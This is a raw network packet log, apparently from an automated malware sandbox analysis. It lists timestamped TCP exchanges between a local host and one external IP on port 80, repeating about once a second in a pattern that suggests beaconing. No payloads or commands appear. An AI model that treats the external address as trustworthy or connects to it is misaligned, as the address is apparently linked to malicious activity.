Jun 27, 2024 07:37:50.318217039 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.002171993 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.002269030 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.003237009 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.007997990 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.211438894 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.211497068 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.326391935 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.326961040 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.331612110 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.331676006 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.331734896 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:51.331815004 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.331963062 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:51.337114096 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.003142118 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.003264904 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.004184961 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.008981943 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.211426973 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.211582899 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.323529959 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.323894024 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.332099915 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.332222939 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.332302094 CEST	80	49737	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:52.332360983 CEST	49737	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.332401991 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:52.338747978 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.018997908 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.019072056 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.019860029 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.024739027 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.229805946 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.229902029 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.339190006 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.339538097 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.344566107 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.344666958 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.344782114 CEST	80	49738	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:53.344841003 CEST	49738	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.344919920 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:53.349730968 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.009346008 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.009468079 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.010111094 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.015091896 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.219017029 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.219098091 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.322470903 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.322782993 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.329440117 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.329550028 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.329655886 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.330248117 CEST	80	49739	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:54.330303907 CEST	49739	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:54.334666014 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.005955935 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.006072998 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.006844044 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.011715889 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.218322992 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.218450069 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.324465990 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.324749947 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.329638004 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.329714060 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:55.329737902 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.329767942 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.333029032 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:55.338177919 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.027585030 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.027770042 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.028445959 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.033642054 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.241425991 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.241494894 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.353988886 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.354373932 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.359314919 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.359361887 CEST	80	49741	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:56.359419107 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.359443903 CEST	49741	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.359652042 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:56.367757082 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.028878927 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.029062986 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.029911995 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.034801006 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.237020016 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.237163067 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.356543064 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.356878042 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.361787081 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.361830950 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:57.361902952 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.361934900 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.362193108 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:57.367316961 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.036986113 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.037190914 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.037945032 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.042752028 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.246766090 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.246906042 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.353729963 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.354120016 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.358913898 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.358936071 CEST	80	49743	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:58.358997107 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.359015942 CEST	49743	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.359215975 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:58.363993883 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.046695948 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.046854019 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.047669888 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.052390099 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.258133888 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.258348942 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.369287014 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.369705915 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.374686003 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.374780893 CEST	80	49744	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:59.374782085 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.374844074 CEST	49744	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.375085115 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:59.379903078 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.049429893 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.049529076 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.050333977 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.055150032 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.258589983 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.258754015 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.369349957 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.369690895 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.374985933 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.375087023 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.375175953 CEST	80	49745	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:00.375241995 CEST	49745	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.375364065 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:00.380153894 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.061573982 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.061677933 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.062448978 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.067478895 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.278690100 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.278796911 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.402590990 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.403412104 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.410232067 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.410367966 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.411040068 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:01.411117077 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.414077044 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:01.420569897 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.088444948 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.088536024 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.089361906 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.094189882 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.298567057 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.298784018 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.582467079 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.582787991 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.587699890 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.587790966 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.588290930 CEST	80	49747	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:02.588361025 CEST	49747	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.596456051 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:02.601334095 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.278892994 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.279002905 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.279759884 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.288556099 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.494937897 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.495042086 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.603907108 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.604315042 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.609127045 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.609225035 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.609440088 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.609888077 CEST	80	49748	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:03.609960079 CEST	49748	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:03.614245892 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.287035942 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.287106991 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.287925005 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.292757988 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.496392012 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.497924089 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.604299068 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.604995966 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.609961987 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.609998941 CEST	80	49750	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:04.610066891 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.610105038 CEST	49750	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.610317945 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:04.615272999 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.411938906 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.413737059 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.414365053 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.419476032 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.627078056 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.627147913 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.730664015 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.730962992 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.736282110 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.736443043 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:05.736531019 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.736716032 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.736716032 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:05.741620064 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.412317038 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.412493944 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.413119078 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.424165010 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.628318071 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.628376007 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.748035908 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.748322010 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.753165007 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.753209114 CEST	80	49752	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:06.753245115 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.753269911 CEST	49752	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.753506899 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:06.758203983 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.423552036 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.423646927 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.424438953 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.429275036 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.630537033 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.630594015 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.744349003 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.744646072 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.749681950 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.749747992 CEST	80	49753	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:07.749819040 CEST	49753	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.749835968 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.749989986 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:07.756022930 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.436412096 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.436513901 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.437349081 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.442187071 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.649847984 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.649975061 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.760073900 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.760364056 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.893511057 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.893558979 CEST	80	49754	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:08.893678904 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.893706083 CEST	49754	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.894002914 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:08.898845911 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.568360090 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.568453074 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.569109917 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.573962927 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.777288914 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.777482986 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.889642000 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.889986038 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.899115086 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.899200916 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.899440050 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.900240898 CEST	80	49755	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:09.900312901 CEST	49755	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:09.904373884 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.564733028 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.564829111 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.565432072 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.570395947 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.771794081 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.771934032 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.885304928 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.885706902 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.890585899 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.890652895 CEST	80	49756	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:10.890705109 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.890733957 CEST	49756	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.890842915 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:10.895621061 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.560590982 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.560688972 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.561358929 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.566082001 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.767607927 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.767689943 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.869297028 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.869604111 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.874455929 CEST	80	49757	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.874469042 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:11.874521017 CEST	49757	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.874561071 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.874675035 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:11.879566908 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.559360981 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.559505939 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.560101986 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.564812899 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.770561934 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.770663977 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.884998083 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.885329962 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.890141964 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.890235901 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.890393019 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.890710115 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:12.890763044 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:12.895195007 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.565759897 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.565876007 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.569118023 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.573937893 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.777976036 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.778064966 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.884957075 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.885234118 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.890167952 CEST	80	49759	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.890244961 CEST	49759	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.890427113 CEST	80	49760	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:13.890499115 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.890650034 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:13.895426989 CEST	80	49760	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:14.575856924 CEST	80	49760	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:14.575969934 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.576926947 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.581690073 CEST	80	49760	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:14.787879944 CEST	80	49760	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:14.788158894 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.900563955 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.900953054 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.905818939 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:14.905855894 CEST	80	49760	147.45.47.155	192.168.2.5
